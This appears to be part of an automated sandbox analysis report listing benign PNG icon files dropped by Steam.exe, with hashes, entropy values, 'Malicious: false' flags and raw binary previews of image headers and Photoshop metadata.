Preview:	.PNG........IHDR...@...@......iq.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\systemmenu\icon_alerts.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	16603
Entropy (8bit):	2.3797303295329533
Encrypted:	false
SSDEEP:
MD5:	F588A99D86F56EF9F925FB07BE895DCE
SHA1:	13FED42BEBADC0B3106294FA4EC7350E7F8C13F3
SHA-256:	3E4A474E6DA46388BCFC111DC94D4611559E48878176B5D893F456091B49E670
SHA-512:	85A420C1D02F588E21991E38A53C4FC7EEF981BDF0D042C0B58BB5C6E6D271208081593F08A3FA78A05A71208C462DBCCA38AE4434F32A573C436E89B0AF8C27
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...@...@......iq.....sRGB.........pHYs.................tIME.....''..n....\tEXtFile Name.D:\P4\erich_2\Steam\main\client\tenfoot\resource\images\systemmenu\icon_alerts.png7@.7..;.iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?>.<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 ">. <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about="". xmlns:xmp="http://ns.adobe.com/xap/1.0/". xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/". xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#". xmlns:dc="http://purl.org/dc/elements/1.1/". xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/". xmlns:tiff="http://ns.adobe.com/tiff/1.0/". xmlns:exif="http://ns.adobe.com/exif/1.0/">. <xmp:CreatorTool>Adobe Photoshop CC 2015 (Windows)</xmp:CreatorTool>. <xmp:C

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\systemmenu\icon_chat.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18374
Entropy (8bit):	3.2345548075723065
Encrypted:	false
SSDEEP:
MD5:	12D12A0C06EB637DF3BD7036FF2EBD7A
SHA1:	F6864657B95DA77F7E3B566C944929588FCF5440
SHA-256:	B49C1668B3133F6FB2774836E6A3B5BA1ECBA4B7064F49E80DC683DB404E9E12
SHA-512:	FF284AEBFA55E604239D0F34870FCA28F680DCE651D36D5CF967F1F4BF234FBA9C285EAC82C53CF5DED98CC007951E03ADA6649D99BB9CE5CD3E890A9475604B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...@...@......iq.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\systemmenu\icon_community.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 200 x 200, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	22174
Entropy (8bit):	4.282526619176525
Encrypted:	false
SSDEEP:
MD5:	602BAE77718FA07DA4AEC8A166273B6C
SHA1:	F68F169012A9274832F4CDA670C92CEC7408ED3A
SHA-256:	6F0C3FB3D48B5A37BB3AA5A39A079AEDE274169D53A4A3965B44B1740AE9DF3D
SHA-512:	499CA667BB1212A7FF7D1952D56B89D64D3D06EB7FCEE401C7DDD2927C2CFB44F4B7FF4B5C2EB2DF093CDCE03E36EF35C10F48CC462FEEE4F63C0E8C32B12A32
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............X......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\systemmenu\icon_downloads.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3534
Entropy (8bit):	7.882763874660313
Encrypted:	false
SSDEEP:
MD5:	E25CAF5C0CE2963B19CE76AB47E40D63
SHA1:	CF80C7CF357632D1C2AEB1BF2444792026AC1787
SHA-256:	8CE20CE7A24D9F2F4E3CB605AB3FCC2EB2DAC168F8D7FA31B6FB46B786FB9682
SHA-512:	F08E0E4939F55091A57B320BE980AC3B70ED28E60DDF5A782D74CCE3D87427750AE658188E5CEEE13E7093C7174D882075143B45D7C87F668CD90BEEC4DBE1A7
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...@...@......iq.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\systemmenu\icon_friends.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 200 x 200, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	21252
Entropy (8bit):	3.671873622556689
Encrypted:	false
SSDEEP:
MD5:	3013770F1146D7B4D1F84359999C9641
SHA1:	73DCACE113E71D3BBAA9472265B2CAA704109E59
SHA-256:	BF57EA821629E3CE7BAC7E42443C08749A35292358D9F01DFBFD101614E2A202
SHA-512:	D610735DB4CB5736E2B40330569FA06482A979182722269A56DC27706496604690CD0C05F13D4460267734C21A5FC77045DCB096A4884C8F8CEF29C35694FADE
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............X......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\systemmenu\icon_friends_offset.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 200 x 200, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3458
Entropy (8bit):	7.61534652084919
Encrypted:	false
SSDEEP:
MD5:	D5E3CB811BF6205FFB41B8D23FA09670
SHA1:	D95586C9B032F08C0611EF7BDD4A2800C72ECF42
SHA-256:	BD13BF4340A7AF85614D97785ADF419B016F69ABA037033E230D0285B0696E34
SHA-512:	FD29D88C75237D6093714ACBFC6485655AB704BB08B1E9095C6F9235A7CB05FF36E86A04BC8E0FFCFBA60DA14E4EC14CEAF3E501A4848615D1911544D32D9297
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............X......tEXtSoftware.Adobe ImageReadyq.e<... iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM:InstanceID="xmp.iid:D6B2F6276C6211E5A3A4941BF9411C8A" xmpMM:DocumentID="xmp.did:D6B2F6286C6211E5A3A4941BF9411C8A"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:D6B2F6256C6211E5A3A4941BF9411C8A" stRef:documentID="xmp.did:D6B2F6266C6211E5A3A4941BF9411C8A"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>R0".....IDATx...s......$@..(4..D..ZA....J.V;...[....O.t.2.3..-..R[_..B.. !/...s.sv......d..7sM.2...k.s.s.g.V....;C\...

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\systemmenu\icon_home.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 150 x 150, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	6418
Entropy (8bit):	7.929494730577634
Encrypted:	false
SSDEEP:
MD5:	B94654F233C6792A80C0CC5912D3FA3D
SHA1:	2FA748A18A3BF1EFB8B3081D42DFED0F660B6775
SHA-256:	D39413C2EA5210E8617E3C648A65B19C95CFFCB3B176CC1D0924BB429A1F7F98
SHA-512:	79C56320AD3B10433355F63D94C5EA7E06329C86D405F6916506DCC290617C95D162E173C89EAF7275C58EB99794A2C9E2C00D6DEF46219B84969D99B21AEE54
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............<.q.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\systemmenu\icon_library.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 200 x 200, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18864
Entropy (8bit):	3.325461667580166
Encrypted:	false
SSDEEP:
MD5:	E9FA9CC5859A0EC88F61707E2411A002
SHA1:	D25F9F3F77D91DC748A3FF45ABA388D80CCEAF20
SHA-256:	F5405F5D452BF2C037947F19C14D213713A0522485B36F156AAB3B636D2E8C01
SHA-512:	A28F0D85340C6AF4E9D243A1C325D904E4C13BA4F0C683765356EC0EDCEAFE89CB8C6B49ADE2226E4F6225563150BA079F2BE044F1BA3290677F22CD5576186E
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............X......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\systemmenu\icon_music.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18434
Entropy (8bit):	3.303399417472138
Encrypted:	false
SSDEEP:
MD5:	C88EBF5569652B6BB79E955D1C5AF7C5
SHA1:	2BB9E04C836D09CC18E8BBCC7864139465571F47
SHA-256:	2416310ACBD9960D09093565C638F52C26F522D7055256F88CBD22C82210224B
SHA-512:	F37B62A52009FF27182B6A239C1589B1C07173D95AC34FF3B62573930EBFBB02CB99832E45474AB8183C59DBDFDF6123B6167B3B39961B29F51C9C13CBFC6A1D
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...@...@......iq.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\systemmenu\icon_power.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3964
Entropy (8bit):	7.882031602186204
Encrypted:	false
SSDEEP:
MD5:	2A480A8E0362A167B67CB23CAE0AE5BA
SHA1:	7BC2193417DAD27869D9910D37245D2F55B9DDCC
SHA-256:	B1EBA7AAAE871D1BAFF0952C0C478875FC77151A2FEABE81DE7BFDDB4A6C6C5D
SHA-512:	9F088E4FD0D80BD4DFC7B0597FA89498116CF34FB4B9BBB46E3F9C57450E671016B41DC3C0B9A44252F15A3EC1CFADA09E7B01B5B62914A68FA066AE56EEF0DC
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...@...@......iq.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\systemmenu\icon_profile.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 150 x 150, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	5528
Entropy (8bit):	7.915699239618113
Encrypted:	false
SSDEEP:
MD5:	6578BB128449E9582396C7061A03ACE0
SHA1:	2812B30C40CCBA32C473643BBD09B1792715446B
SHA-256:	E14A3705D9A5E17CA16FEDA9A4E1F8F10CD20686642BD31498421A3C6C0562B7
SHA-512:	C4EDBCD6F4317541CC238845BD0150AEE8EA427F8F12FFC0EA60BA09CFACC3811B35F6FDFAC69C38260EE2D0AFE033BC209265E3FE957ECF84DBA6C4B6C63AA3
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............<.q.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\systemmenu\icon_settings.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18874
Entropy (8bit):	3.465019900663081
Encrypted:	false
SSDEEP:
MD5:	764EFBB6BA2E85C997B47860EF2D017D
SHA1:	295EE3FB0A6DAB8F02F174CDE53A10F9D1C1FF7E
SHA-256:	8B8467105A7B7E8FCC001AA573A7B0F23FA2A7B98FA6B5E151956780FB422114
SHA-512:	621A2E8831FEA1BCF46D45E8A77FB5C7BB52C9E06461BA080EF6D992B981A283D3E3DC5FC1DCD47FFA51119233404A9FC0B584BE6580AE8C27821D77236E6543
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...@...@......iq.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\systemmenu\icon_store.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 200 x 200, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	21908
Entropy (8bit):	3.857723457215057
Encrypted:	false
SSDEEP:
MD5:	999B9AC14DD5E629A9CC870FC3F08065
SHA1:	41E09BB20E0A638CCC5FF89814D982B35B364296
SHA-256:	520C41070A305DDB93E09173618507E78F1B16FD857C2988E3FBF64A040EE90D
SHA-512:	533DAF3DD0BC6F11FD066DF2BCDDCF6A0886B7E001ABA340C606F5518D6E17820CADA3AF6255A043667D045470714A4FE56E00B86262E3A77BD5BFF04A1491DD
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............X......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\systemmenu\icon_store_offset.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 200 x 200, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3649
Entropy (8bit):	7.6322067943589476
Encrypted:	false
SSDEEP:
MD5:	1972D5C04020BB42048889F50AF9C071
SHA1:	B9F145151ECB72AE910E0EEABFAE7100183DD903
SHA-256:	7BFD001B4B35A88B44C8210FE3ECC48DB7901907E975411D3D1276746E4C8EDA
SHA-512:	4213DEBCB37C0A6C6B7ED5EDC1CC9438FA694BECBEA74B6BC71CFFED4E35A6B893B7323AB38B0D7606FCBA1206761BAE176471F8A70EA6E0EA9061E4E92193DC
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............X......tEXtSoftware.Adobe ImageReadyq.e<... iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM:InstanceID="xmp.iid:D98B9C8A694711E58637857B3523EE73" xmpMM:DocumentID="xmp.did:D98B9C8B694711E58637857B3523EE73"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:D98B9C88694711E58637857B3523EE73" stRef:documentID="xmp.did:D98B9C89694711E58637857B3523EE73"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..S.....IDATx..k.\e..........h....G./.1D..!FQ.A."_L.E...P.4....~0..E%..[\.`[z.D.m.EJ/........3.v..3..s..~.4..wf.3.

